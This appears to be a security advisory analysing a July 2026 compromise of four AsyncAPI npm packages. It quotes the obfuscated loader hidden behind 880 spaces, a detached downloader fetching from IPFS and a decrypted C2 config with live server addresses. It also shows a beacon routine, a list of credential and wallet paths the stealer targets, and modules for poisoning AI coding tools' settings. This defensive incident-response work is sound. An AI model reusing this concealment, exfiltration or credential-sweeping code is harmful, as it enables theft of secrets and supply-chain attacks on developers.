AsyncAPI Packages Compromised with Miasma RAT

TL;DR

An attacker compromised multiple AsyncAPI repositories on July 14, 2026, pushing malicious commits that triggered CI/CD pipelines to publish four compromised npm packages. The injected payload downloads Miasma RAT from IPFS, a credential stealer that harvests browser data, SSH keys, npm tokens, GitHub CLI credentials, AWS secrets, and cryptocurrency wallets. @asyncapi/specs alone has 2.7 million weekly downloads. The combined weekly download count across all four affected packages exceeds 2.9 million.

Impact:

• Credential theft: browser passwords, SSH keys, npm tokens, GitHub CLI tokens, AWS credentials, cryptocurrency wallets
• Persistent backdoor installed as sync.js in platform-specific application data directories
• Any CI/CD environment that installed these packages during the window of compromise may have leaked secrets

Attribution note: The payload self-identifies as campaign miasma-train-p1 and its config toggle names (propagate, persist, deadman, poisonAI, metamorphic) mirror features described in the Miasma open source release that appeared on GitHub in June 2026. However, decrypting and analyzing the dropped sync.js (3MB, compiled from a TypeScript monorepo) reveals an entirely different codebase. The original Miasma worm runs on Bun, uses GitHub commit search as its only C2 channel, and avoids custom infrastructure by design. This payload runs on vanilla Node.js, operates dedicated HTTP C2 servers (85.137.53.71 on three ports), and implements five additional fallback channels (Ethereum smart contract, Nostr relays, IPFS, BitTorrent DHT, libp2p) that the original Miasma does not have. The crypto primitives differ too: secp256k1 + AES-256-GCM + HKDF here versus RSA-4096 + AES-256-CBC in the original. The name is shared, but the tooling is not. This is either a private, parallel build by the same operators or a separate group that adopted the Miasma brand after the source was published.

Indicators of Compromise (IoC):

The attack

On July 14, 2026 at 06:58 UTC, an attacker pushed commit 3eab3ec to the generator repository’s next branch. The commit used placeholder git identity (Your Name / [email protected]), was unsigned, and carried the message fix: test release workflow on next. The parent commit (ff010ef) was a legitimate, GitHub-signed CI update from three days earlier.

Within twelve minutes, the CI/CD pipeline published three new package versions to npm. The same attacker, GitHub user ID 148100, separately compromised the alpha branch of the asyncapi/spec-json-schemas repository the same day, publishing @asyncapi/[email protected] at 08:06 UTC and @asyncapi/[email protected] at 08:30 UTC, both carrying the identical payload.

All versions remain tagged as latest (stable) or alpha (pre-release) on the npm registry at the time of writing. The @asyncapi/specs compromise is the higher-impact event by download volume, and it was published from a separate repository (asyncapi/spec-json-schemas) than the generator incident.

The payload

The commit modified nine files, but only three carried the malicious payload. In validator.js and utils.js, the attacker used whitespace padding: the line immediately after a legitimate function’s closing brace contains 880 space characters followed by the obfuscated payload. Any editor wrapping at a normal column width shows a blank line. Scrolling right 880 characters reveals the code.

1
// Line 68: }                              ← legitimate function closes
2
// Line 69: [880 spaces]const _0x1dd48b=_0x1dd2;(function(...

The same technique appears in packages/helpers/src/utils.js (line 77, after the toSnakeCase function’s closing brace, 880 spaces then payload). The third file, packages/components/src/utils/ErrorHandling.js, uses no concealment at all. The obfuscated code appears inline at line 94 as Babel-transpiled JavaScript, fully visible to anyone reading the file.

All three payloads use hex-variable obfuscation (_0x1dd2, _0x2d89) with a base64-encoded string lookup array and a rotation function. The deobfuscated execution flow is straightforward: the main() function calls spawn('node', ['-e', PAYLOAD_STRING], { detached: true, stdio: 'ignore', windowsHide: true }).unref(). This spawns a detached Node.js child process that runs an inline script, survives parent process termination, and hides from the user.

The spawned process downloads the Miasma RAT binary from IPFS, writes it to a platform-specific drop location, and executes it. The generator packages use IPFS hash QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9. Miasma RAT is a credential-stealing malware active since June 2026 under the campaign identifier miasma-train-p1.

The specs package (separate repo)

@asyncapi/specs is published from asyncapi/spec-json-schemas, a different repository than asyncapi/generator. The same attacker (GitHub user ID 148100) compromised this repository’s alpha branch independently. Rotating only the generator repo’s CI secrets is not sufficient; the spec-json-schemas repo’s alpha branch write token should be rotated as well.

@asyncapi/[email protected], published at 08:30 UTC with the latest tag, uses a different injection technique. Instead of whitespace hiding, the attacker prepended the malicious code directly to the top of index.js, making no attempt to conceal it within the legitimate source. The payload is a variant of the same downloader with a different IPFS hash (Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf) and different obfuscation function names (_0x285e, _0x3c84), but identical behavior: download from IPFS, write to the same NodeJS/sync.js drop path, spawn detached, unref.

@asyncapi/[email protected], published 24 minutes earlier at 08:06 UTC with the alpha tag, carries the same injected payload, IPFS hash, and C2 as the 6.11.2 stable release. A SHA-256 for the alpha tarball has not yet been obtained; treat any installed copy of the alpha tag as compromised regardless of hash.

1
// index.js (lines 1-25, @asyncapi/[email protected])
2
import * as fs from 'fs';
3
import * as path from 'path';
4
import * as https from 'https';
5
import { spawn, ChildProcess } from 'child_process';
6
import * as os from 'os';
7

8
async function main() {
9
    try {
10
        const child = spawn('node', ['-e', `const _0x5af5e1=_0x285e;...`], {
11
            detached: true,
12
            stdio: 'ignore',
13
            windowsHide: true
14
        });
15
        child.unref();
16
    } catch (error) { ... }
17
}
18
main();

The string lookup array in this variant is not base64-encoded, making key strings directly readable: FILE_URL resolves to hxxps://ipfs[.]io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf, FILE_NAME resolves to sync.js, and the drop directory logic matches the same three platform paths (Linux .local/share/NodeJS, macOS Library/Application Support/NodeJS, Windows %LOCALAPPDATA%\NodeJS).

Payload analysis

The IPFS payloads are not compiled binaries. Both are ~8MB JavaScript files containing an AES-256-GCM encrypted blob, decrypted at runtime using HKDF-SHA256 key derivation from a hardcoded master key. Decrypting statically (without executing) produces the full sync.js source: 3MB of obfuscated JavaScript compiled from a TypeScript monorepo (packages/core + packages/active-runtime), padded with 8,362 dead-code junk variables.

1
// First line of decrypted sync.js
2
// mutated v3 profile=low runtime=1 at=1784002253701

The build timestamp (1784002253701) resolves to 2026-07-14 04:10 UTC, roughly three hours before the malicious commit was pushed to the AsyncAPI generator repo.

Encryption and key derivation

The outer wrapper decrypts two blobs in sequence. The first (__RT_BAKED__) contains a JSON configuration object. The second contains the main application source, followed by a ROT-4 character rotation.

1
// Key derivation for the config blob
2
var _mkb = Buffer.from('rt-vault-master-key-32b-aaaaaaaa', 'utf8');
3
var _bk = Buffer.from(crypto.hkdfSync('sha256', _mkb, Buffer.alloc(0), Buffer.from('rt-baked-key', 'utf8'), 32));
4

5
// Key derivation for the main source (different IKM)
6
var fileKey = Buffer.from(
7
  crypto.hkdfSync(
8
    'sha256',
9
    Buffer.from('rt-file-key-material-v1', 'utf8'),
10
    Buffer.alloc(0),
11
    Buffer.from('rt-file-key', 'utf8'),
12
    32
13
  )
14
);

The master key rt-vault-master-key-32b-aaaaaaaa is hardcoded in plaintext. This is a design choice, not a mistake. The encryption is not protecting the payload from analysis. It prevents signature-based detection by making every build produce a different ciphertext while using the same key.

Decrypted C2 configuration

The __RT_BAKED__ config blob decrypts to a JSON object that exposes the full C2 topology:

1
{
2
  "config": {
3
    "c2Server": "http://85.137.53.71:8080",
4
    "uploadServer": "http://85.137.53.71:8081",
5
    "c2ProxyMgmt": "http://85.137.53.71:8091",
6
    "serverManager": "http://127.0.0.1:8090",
7
    "blockchain": {
8
      "rpcUrl": "https://ethereum-rpc.publicnode.com",
9
      "chainId": 1,
10
      "contractAddress": "0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710"
11
    },
12
    "nostrRelays": ["wss://relay.damus.io", "wss://relay.nostr.com/"],
13
    "dhtBootstrap": ["router.bittorrent.com:6881", "dht.transmissionbt.com:6881"],
14
    "shellBlacklist": ["killall"]
15
  },
16
  "attackerPub": "0432fa4ba871877d...0eeb48e",
17
  "maxGen": 4,
18
  "target": { "name": "miasma-train-p1", "ecosystem": "npm" },
19
  "seedVer": 3,
20
  "toggles": {
21
    "propagate": { "npm": false, "pypi": false, "ruby": false, "cargo": false },
22
    "persist": true,
23
    "recon": false,
24
    "poisonAI": false,
25
    "deadman": false,
26
    "evasion": false,
27
    "metamorphic": false
28
  }
29
}

Three C2 endpoints run on 85[.]137[.]53[.]71 (AS43641, Netherlands): the command server on port 8080, the data exfiltration endpoint on port 8081, and a proxy management interface on port 8091. A local management server on 127.0.0.1:8090 handles node-level operations.

Seven-channel communication stack

The decrypted source contains a ChannelOrchestratorImpl class that manages seven independent communication channels with tiered failover:

1
status() {
2
  const list = [
3
    { name: "c2",         alive: this.active === this.channels.c2,         tier: this.channels.c2.tier },
4
    { name: "nostr",      alive: this.active === this.channels.nostr,      tier: this.channels.nostr.tier },
5
    { name: "ipfs",       alive: this.active === this.channels.ipfs,       tier: this.channels.ipfs.tier },
6
    { name: "libp2p",     alive: this.active === this.channels.libp2p,     tier: this.channels.libp2p.tier },
7
    { name: "dht",        alive: this.active === this.channels.dht,        tier: this.channels.dht.tier },
8
    { name: "blockchain", alive: this.active === this.channels.blockchain, tier: this.channels.blockchain.tier },
9
    { name: "mdns",       alive: this.active === this.channels.mdns,       tier: this.channels.mdns.tier }
10
  ];
11
}

The HTTP C2 channel is the primary. If it goes down, the orchestrator fails over to Nostr relays and the Ethereum smart contract (both tagged Tier.Distributed) to retrieve updated C2 addresses. IPFS, libp2p, BitTorrent DHT, and mDNS/LAN discovery provide further resilience. Beacons go to /api/v1/beacon, stolen data to /api/v1/upload, and command polling to /api/v1/commands/{nodeId}.

1
async sendBeacon(beacon) {
2
  const url = `${this.c2Server}/api/v1/beacon`;
3
  const body = this.signer && this.attackerPub
4
    ? this.signer.signEncryptedBeacon(beacon, this.attackerPub)
5
    : this.signer ? this.signer.signBeacon(beacon) : beacon;
6
  res = await fetchWithTimeout(this.fetchImpl, url, {
7
    method: "POST",
8
    headers: { "content-type": "application/json" },
9
    body: JSON.stringify(body)
10
  }, beaconTimeout());
11
}

Credential harvesting

The HostCredentialSweeper class (in packages/active-runtime/dist/recon/host-credential-sweeper.js) drives the collection. It scans a knowledge base of over 300 file paths across Linux, macOS, and Windows, organized into categories: cloud credentials, SSH/GPG keys, shell history, browser data, CI/CD tokens, AI tool configs, databases, cryptocurrency wallets, container secrets, and monitoring tools.

A representative sample of targeted paths from the decrypted source:

1
~/.aws/*                                        # AWS credentials
2
~/.ssh/*                                        # SSH keys
3
~/.npmrc                                        # npm tokens
4
~/.config/gh/hosts.yml                          # GitHub CLI
5
~/.kube/config                                  # Kubernetes
6
~/.docker/config.json                           # Docker registry auth
7
~/.config/gcloud/application_default_credentials.json
8
~/.azure/msal_token_cache.json
9
~/.config/google-chrome/Default/Login Data      # Chrome passwords
10
~/Library/Application Support/Firefox/Profiles/*/logins.json
11
~/.bitcoin/wallet.dat                           # Cryptocurrency
12
~/.config/Exodus/exodus.wallet/seed.seco
13
~/.electrum/wallets/*
14
~/.ethereum/keystore
15
~/.config/solana/id.json
16
~/.claude/.credentials.json                     # AI tools
17
~/.anthropic/key.json
18
~/.config/Cursor/User/settings.json
19
~/.config/Bitwarden CLI/data.json               # Password managers
20
~/.config/1Password/1password-vault
21
~/.config/KeePassXC/*.kdbx

The sweeper also runs content signature matching (path-kb-signatures.js) against discovered files, looking for patterns like AWS access key IDs (AKIA[0-9A-Z]{16}), secret keys, and session tokens.

Dormant capabilities

Several modules exist in the compiled source with all their deployment toggles set to false:

• Propagation vectors (DirectPypiPublishVector, DirectCargoPublishVector, spreader-npm.js, workflow-poison-vector.js) for publishing trojanized packages to npm, PyPI, and Cargo registries. All four ecosystem toggles are disabled.
• AI tool poisoning (ai-tool-poisoner.js) targeting Claude Code (SessionStart hook in .claude/settings.json), VS Code (folder-open task in .vscode/tasks.json), Gemini CLI (.gemini/settings.json), and Cursor (.cursor/rules/setup.mdc). Contains [SIMULATION ONLY] markers.
• Dead-man switch (safe-wipe.js) that monitors a stolen token and triggers a directory wipe if the token is revoked. The code contains simulation-mode text: “Had this been a real worm, the contents of this directory would have been deleted.”
• Metamorphic engine (mutation-engine.js) for payload self-modification.
• Sandbox evasion (sandbox-guard.js) with detection for CrowdStrike, SentinelOne, Microsoft Defender, CarbonBlack, Cylance, Osquery, Tanium, and Qualys.

The config flags safeMode: true and actualPersist: false further indicate this deployment uses a restricted profile. The framework is built for cross-ecosystem worm propagation, but this particular run is limited to credential harvesting and C2 beaconing.

Remediation

If you installed any of the affected versions:

1. Check for the dropped file at the platform-specific path listed in the IoC table above. Delete it if present.
2. Rotate all credentials on the affected machine: npm tokens, GitHub tokens, SSH keys, AWS access keys, browser-stored passwords.
3. Audit CI/CD secrets. Any pipeline that ran npm install during the compromise window should have its secrets rotated.
4. If you maintain or fork asyncapi/generator or asyncapi/spec-json-schemas, rotate the write token for both repos — the two packages were published from separate repositories, so rotating one does not cover the other.
5. Pin to the safe versions: @asyncapi/[email protected], @asyncapi/[email protected], @asyncapi/[email protected], @asyncapi/[email protected].

If you have not installed the affected versions:

1. Pin your @asyncapi/* dependencies to exact versions until clean patch releases are published.
2. Check your lockfile for the compromised versions listed above.

The AsyncAPI maintainers have deleted the compromised next branch. Clean patch releases (3.3.2, 1.1.2, 0.7.2) are expected to follow.

Package artifact hashes

References

• AsyncAPI Generator Issue #2184: Security advisory
• Malicious commit 3eab3ec
• @asyncapi/generator on npm
• @asyncapi/generator-helpers on npm
• @asyncapi/generator-components on npm
• @asyncapi/specs on npm